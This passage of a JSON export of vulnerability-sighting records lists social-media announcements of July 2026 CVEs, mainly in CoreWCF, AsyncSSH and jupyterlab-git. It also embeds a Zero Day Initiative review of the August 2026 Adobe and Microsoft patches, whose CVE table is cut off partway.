"CVE-2026-54408", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ebad18a5-251f-49a4-b877-c63995fd13a6", "content": "", "creation_timestamp": "2026-07-08T11:01:21.496106Z"}, {"uuid": "d5ad7f64-839f-4aad-8ec3-ef539f83e9cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54407", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ebad18a5-251f-49a4-b877-c63995fd13a6", "content": "", "creation_timestamp": "2026-07-08T11:01:21.496106Z"}, {"uuid": "436e4d38-06d6-403a-a709-bfdea681352e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54161", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mq57zkesqs2d", "content": "A Network UPS Tools RCE (CVE-2026-54161) lets a malicious upsd trigger upsmon command injection as root. No patch exists yet, so mitigate now.\n\n#NetworkUPSTools #NUT #upsmon #CommandInjection #RCE #CVE202654161 #CyberSecurity", "creation_timestamp": "2026-07-08T13:29:26.633333Z"}, {"uuid": "b2f47a43-9626-49f0-8ac3-6d00fc9abf2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54061", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq5cjezgt22z", "content": "CVE-2026-54061 - dgraph\nDgraph Alpha, a database used for GraphQL, had a security issue that allowed anyone on the network to delete and replace its data without permission. This has been fixed in version\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#dgraph #dgraphio #CVE #infosec", "creation_timestamp": "2026-07-08T14:14:05.043770Z"}, {"uuid": "a6d6c3a2-2618-4026-8c33-d51a331bb8c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5459", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mq5fygmvsh2d", "content": "CVE-2026-5459 wp-user-frontend (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-08T15:16:11.207664Z"}, {"uuid": "f24a3e29-5287-411a-88d2-26a3c51965cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54423", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mq5gs5iuht24", "content": "[OSSA-2026-025] Ironic: RBAC Bypass in IPMI Raw Command Execution (CVE-2026-54423)", "creation_timestamp": "2026-07-08T15:30:34.070234Z"}, {"uuid": "ebdddcfc-74ba-4e35-b9a9-ac62a653fc9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54652", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq5nqwlaj32q", "content": "CVE-2026-54652 - Frigate viewer can read logs exposing admin and camera credentials\nCVE ID : CVE-2026-54652\n \n Published : July 8, 2026, 3:16 p.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : Frigate is an open source network video recorder. In version 0.17.1, the GET /api/logs/{...", "creation_timestamp": "2026-07-08T17:35:09.363684Z"}, {"uuid": "9f4b83fb-3fe8-4bbb-99d4-896da210986c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54685", "type": "published-proof-of-concept", "source": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w", "content": "", "creation_timestamp": "2026-07-08T18:35:05.868742Z"}, {"uuid": "05544ba6-0d5b-41e9-8b27-2b32c0500380", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54527", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq64oaqtfb24", "content": "CVE-2026-54527 - jupyterlab-git\nThe JupyterLab Git extension allows attackers to create malicious file names that can execute code when viewed by others. This can lead to unauthorized access to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#jupyterlabgit #jupyterlab #pip #CVE #infosec", "creation_timestamp": "2026-07-08T22:02:05.569243Z"}, {"uuid": "5ce42261-1b05-4bce-9c3c-8df63e122722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54591", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq67d6yebi27", "content": "CVE-2026-54591 - AsyncSSH: SCP Path Traversal to Arbitrary File Write\nCVE ID : CVE-2026-54591\n \n Published : July 8, 2026, 8:33 p.m. | 26\u00a0minutes ago\n \n Description : AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 prot...", "creation_timestamp": "2026-07-08T22:49:35.921187Z"}, {"uuid": "bef6f293-c5e4-4cca-a9a6-c3a09cbc3a34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54590", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq67v3wjmr2z", "content": "CVE-2026-54590 - AsyncSSH AuthorizedKeysFile username substitution bypass through ~ and environment expansion\nCVE ID : CVE-2026-54590\n \n Published : July 8, 2026, 8:36 p.m. | 23\u00a0minutes ago\n \n Description : AsyncSSH is a Python package which provides an asynchronous client and...", "creation_timestamp": "2026-07-08T22:59:36.846467Z"}, {"uuid": "e85742bb-33ab-43a6-a9a6-427c4033a095", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54782", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq6a55zdqv2t", "content": "CVE-2026-54782 - corewcf.primitives\nAn attacker can use a known vulnerability in CoreWCF to pretend to be any user, including administrators, if they have access to the service and the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#corewcfprimitives #corewcf #dotnet #CVE #infosec", "creation_timestamp": "2026-07-08T23:04:07.092383Z"}, {"uuid": "47feb0f4-d85b-499c-9330-8db50d8f0f64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54773", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6he5cskz2g", "content": "CVE-2026-54773 - CoreWCF: WS-Security signature substitution via document-wide Signature lookup\nCVE ID : CVE-2026-54773\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to ...", "creation_timestamp": "2026-07-09T01:13:17.615368Z"}, {"uuid": "307904f5-8ffa-4bd8-a650-07981b40ad56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54772", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6hkcewcy2x", "content": "CVE-2026-54772 - CoreWCF: Pre-authentication infinite-loop CPU exhaustion in CoreWCF net.tcp / net.pipe / net.uds framing handshake\nCVE ID : CVE-2026-54772\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the service side of Window...", "creation_timestamp": "2026-07-09T01:16:44.359902Z"}, {"uuid": "240b4270-9086-4be7-a2a7-b91359a0c3ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54499", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6hrarjta2z", "content": "CVE-2026-54499 - Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders\nCVE ID : CVE-2026-54499\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, ...", "creation_timestamp": "2026-07-09T01:20:37.372542Z"}, {"uuid": "3cd4f82f-266a-4bed-aaad-a95365c907b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54784", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6hv3t6nv2i", "content": "CVE-2026-54784 - CoreWCF: SPNEGO SecurityContextToken proof key wrapped without confidentiality\nCVE ID : CVE-2026-54784\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to ...", "creation_timestamp": "2026-07-09T01:22:46.293585Z"}, {"uuid": "96427721-2f5d-4c21-a87c-f2281fc93755", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54779", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6i5snv3v27", "content": "CVE-2026-54779 - CoreWCF: SAML token replay protection is inoperative\nCVE ID : CVE-2026-54779\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 ...", "creation_timestamp": "2026-07-09T01:27:38.837269Z"}, {"uuid": "620eb286-804d-499d-a8d8-78fcfbde3f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54775", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6icp4g3g27", "content": "CVE-2026-54775 - CoreWCF: Kafka consume pump halts permanently on a Kafka tombstone (null-value record), causing persistent endpoint denial of service.\nCVE ID : CVE-2026-54775\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the se...", "creation_timestamp": "2026-07-09T01:30:22.949786Z"}, {"uuid": "c9fedc3b-190b-4d45-8d2b-808daacca4e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54774", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6io2uglh2x", "content": "CVE-2026-54774 - CoreWCF: SamlSerializer skips SignatureValue verification when SAML signing token is not an X.509 certificate\nCVE ID : CVE-2026-54774\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the service side of Windows Com...", "creation_timestamp": "2026-07-09T01:36:44.381035Z"}, {"uuid": "4bf90a53-e505-495b-a3ef-df65b576ab0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54781", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6iurvqor2z", "content": "CVE-2026-54781 - CoreWCF: SAML SubjectConfirmation methods and holder-of-key proof keys are not enforced\nCVE ID : CVE-2026-54781\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the service side of Windows Communication Foundation ...", "creation_timestamp": "2026-07-09T01:40:29.764841Z"}, {"uuid": "0e0371a4-21d1-4f8d-9b94-094569fdbeef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54780", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6j4hinzz2z", "content": "CVE-2026-54780 - CoreWCF: WS-Security Reference DigestMethod Algorithm-Suite Bypass\nCVE ID : CVE-2026-54780\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. P...", "creation_timestamp": "2026-07-09T01:44:47.410861Z"}, {"uuid": "019b19dc-8f14-478b-90c0-7ccec1275fdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54782", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6jffzamm2x", "content": "CVE-2026-54782 - CoreWCF: Authentication bypass in CoreWCF SAML 1.1 / 2.0 token signature validation\nCVE ID : CVE-2026-54782\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the service side of Windows Communication Foundation (WCF...", "creation_timestamp": "2026-07-09T01:49:47.860532Z"}, {"uuid": "17270153-f2ed-4b00-a522-34bb5390d3fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54776", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6joeibdx2x", "content": "CVE-2026-54776 - CoreWCF: Unix Domain Socket PosixIdentity transport accepts connections that skip the security upgrade\nCVE ID : CVE-2026-54776\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the service side of Windows Communicat...", "creation_timestamp": "2026-07-09T01:54:48.247410Z"}, {"uuid": "33e514ee-9853-4025-9556-9ddc253cfb98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54778", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6jxcxorx2e", "content": "CVE-2026-54778 - CoreWCF: UnixDomainSocket Non-Reentrant POSIX Identity Resolution\nCVE ID : CVE-2026-54778\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Pr...", "creation_timestamp": "2026-07-09T01:59:48.597600Z"}, {"uuid": "5b60f0c8-93d1-404c-90a0-6d017c262753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54783", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq6kabger32x", "content": "CVE-2026-54783 - CoreWCF: XML Signature Wrapping in WS-Security endorsing/supporting signature verification allows replay of captured signed messages\nCVE ID : CVE-2026-54783\n \n Published : July 8, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : CoreWCF is a port of the serv...", "creation_timestamp": "2026-07-09T02:04:49.113795Z"}, {"uuid": "4d4e0cce-0bee-4189-b8f1-a5cc594250e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54527", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116887783224020082", "content": "CVE-2026-54527: CRITICAL XSS in jupyterlab-git (<0.54.0). Malicious Git filenames can execute JavaScript when viewed in the Git History tab \u2014 risking session hijack & data theft. Upgrade to 0.54.0+ ASAP. https://radar.offseq.com/threat/cve-2026-54527-cwe-79-improper-neutralization-of-i-859af0d357310c79 #OffSeq #XSS #jupyterlab #security", "creation_timestamp": "2026-07-09T03:00:29.149648Z"}, {"uuid": "0f0e2b28-88a1-43be-81c7-2cc9c1ed46db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54123", "type": "seen", "source": "https://www.thezdi.com/blog/2026/8/11/the-august-2026-security-update-review", "content": "I\u2019ve successfully survived Hacker Summer Camp, and I have returned with a new outlook on patch density. When even Linus Torvalds says that huge updates are the \u201cnew normal\u201d, it\u2019s time to readjust what we consider a true bug apocalypse. This month\u2019s release is thankfully smaller than last months, but still huge by historical standards. Take a break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for August 2026\nFor the first part of the August release, Adobe released five bulletins addressing 51 unique CVEs in Adobe ColdFusion, Commerce, Lightroom Classic, Content Credentials SDK, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\nAdobe Patches for August 2026\n\n\n\n  \nAdobe Patches for August 2026\n  \n\n    \n      \n        Bulletin ID\n        Product\n        CVE Count\n        Highest Severity\n        Highest CVSS\n        Exploited\n        Deployment Priority\n      \n    \n    \n      \n        APSB26-90\n        Adobe ColdFusion\n        15\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-123\n        Adobe Campaign Classic\n        3\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-92\n        Adobe Commerce\n        7\n        Critical\n        9.1\n        No\n        2\n      \n      \n        APSB26-94\n        Adobe Lightroom Classic\n        11\n        Critical\n        8.6\n        No\n        3\n      \n      \n        APSB26-111\n        Content Credentials SDK\n        15\n        Critical\n        7.5\n        No\n        3\n      \n      \n        TOTAL\n        5 bulletins\n        51\n        \n        \n        \n        \n      \n    \n  \n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \nIf you\u2019re running Campaign Classic, that\u2019s your priority. Not only is it a deployment priority of 1, but it also contains two different CVSS 10 bugs and supersedes the patch that was just released on August 3. ColdFusion is also deployment priority 1 and also contains a CVSS 10 bug. Adobe Commerce rates a priority 2 with code execution bugs as high as CVSS 9.1. The patches for Lightroom Classic and Content Credentials SDK are packed with CVEs, but only rate a deployment priority of 3.\nNone of the Adobe bugs receiving patches this month are listed as publicly known or under active attack at the time of release.\nMicrosoft Patches for August 2026\nThere are a couple of things to point out right at the beginning. Again, counting is difficult due to the size, but I see 398 new CVEs to go along with the other updates documented this month. However, there is only one listed being under active attack, so we\u2019ve got that going for us, which is nice. The release impacts Windows and Windows components, Office and Office Components, AMD Zen, Azure and Azure Components, GitHub Copilot, Windows Defender, Exchange Server, SharePoint, OneDrive for macOS, Teams, Power BI, .NET and Visual Studio, DHCP Server and Client, DNS Server, and Windows TPM. Minecraft is absent from this release.  All told, there are 62 rated Critical, one rated Moderate, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program.\nThis volume of updates indeed seems to be the new normal \u2013 at least for now. What is interesting is that, while there is an explosion of bugs being reported (and fixed), there has been no equivalent increase in the number of bugs being actively exploited, at least as 0-days.\nAgain, we\u2019ll start with the bug under active attack and move on from there. \n-              CVE-2026-68820 - Windows Ancillary Function Driver for WinSock Elevation of Privilege VulnerabilityThis bug allows attackers to execute code at SYSTEM level. Bugs of this type are often paired with code execution bugs to take over a system, often through phishing or ransomware. One nitpick here: Microsoft lists the Exploit Code Maturity in the CVSS as \u201cUnproven\u201d but calls this out as actively exploited. Somewhere, that math ain\u2019t mathing.\n-              CVE-2026-62878 - Windows DNS Server Remote Code Execution VulnerabilityThere are several DNS-related patches this month, but this one stands out by far. It allows a remote, unauthenticated attacker to execute code with elevated privileges without user interaction. It\u2019s a good ol\u2019 fashioned stack-based buffer overflow that ends up wormable. Microsoft states exploitation is less likely, but I wouldn\u2019t count on that. I suggest testing and deploying this one quickly, especially to your Internet-facing DNS servers.\n -              CVE-2026-62893 - Windows Deployment Services TFTP Server Remote Code Execution VulnerabilityThis bug came through the ZDI program and allows for code execution without user authentication or user interaction. TFTP has no auth mechanism and is available remotely vid UDP port 69. Any WDS server serving Windows Imaging Format (WIM) files via TFTP (the standard PXE boot scenario) is vulnerable. The issue results from the lack of validating the existence of an object prior to performing operations on the object. UDP port 69 should be blocked at your perimeter, but this could easily be used by attackers for lateral movement within an enterprise. Again, test and deploy this one quickly if you\u2019re using WDS for deployments in your enterprise.\n -              CVE-2026-62815 - Microsoft QUIC Remote Code Execution VulnerabilityHere we have another remote, unauthenticated code execution bug that doesn\u2019t require user interaction. This one is in the QUIC component. If you aren\u2019t familiar with it, QUIC is an IETF-standardized transport protocol that runs over UDP instead of TCP, and it's the foundation for HTTP/3. Roughly 13.5 million websites rely on it. If you are one of those millions, test and deploy this patch rapidly.\n -              CVE-2026-59124 - Microsoft High Performance Computing (HPC) Pack Remote Code Execution VulnerabilityDon\u2019t let the Important severity rating fool you; this is still a CVSS 9.8 bug. It gets knocked down since HPC isn\u2019t on by default. However, it\u2019s a hugely growing segment, and this is another remote, unauthenticated code execution bug that does not require user interaction. It might not be applicable to everyone, but if you\u2019re using HPC in your environment, this is not one to sleep on, especially since Microsoft lists this as \u201cexploitation more likely\u201d.\n -              CVE-2026-62911 - Microsoft Exchange Server Elevation of Privilege VulnerabilityThere are several Exchange bugs in this release, but this one really stands out. It could allow a privilege escalation via an authentication bypass. If successful, an attacker could \u201ctake over the mailboxes of all Exchange users, attackers can send emails, read emails, download attachments.\u201d This bug was one of the ones demonstrated at Pwn2Own Berlin, so ignore Microsoft\u2019s exploitability and Exploit Code Maturity ratings. We handed them working exploits, so this is a real threat. As always, test out those Exchange updates before deploying, but don\u2019t hurry up and schedule that downtime for your upgrade. \nHere\u2019s the full list of CVEs released by Microsoft for August 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-68820\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-62832\n  Windows User Profile\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  EoP\n \n \n  CVE-2026-49163 **\n  Application Insights\n  Profiler Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50481 **\n  Azure Active Directory\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68823 **\n  Azure Confidential\n  Ledger Remote Code Execution Vulnerability\n  Critical\n  9.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62869 **\n  Azure Entra ID\n  Spoofing Vulnerability\n  Critical\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56161 **\n  Azure Logic Apps\n  Information Disclosure Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50515 **\n  Azure Service Bus\n  Remote Code Execution Vulnerability\n  Critical\n  9.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-56162 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-63522 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62836 **\n  Azure SQL Managed\n  Instance Elevation of Privilege Vulnerability\n  Critical\n  8.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62830 **\n  Azure SRE Agent\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-62873 **\n  Microsoft 365 Admin\n  Center Elevation of Privilege Vulnerability\n  Critical\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50516 **\n  Microsoft Azure\n  Kubernetes Service Elevation of Privilege Vulnerability\n  Critical\n  9.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-59115 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68794\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68804\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68816\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62911\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-63513\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63519\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63526\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65664\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66807\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63515\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63532\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64898\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64903\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64909\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64910\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64911\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65657\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70130\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-70332 **\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63518\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63525\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64907\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63508 **\n  Microsoft Planetary\n  Computer Pro Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-59118 **\n  Microsoft Power Apps\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-65668 **\n  Microsoft Purview\n  eDiscovery Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62815\n  Microsoft QUIC Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62827\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64921\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65665\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62896 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  9.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-65667 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-62918 **\n  Microsoft Teams\n  Spoofing Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62824\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62818\n  Windows Active\n  Directory Certificate Services (AD CS) Remote 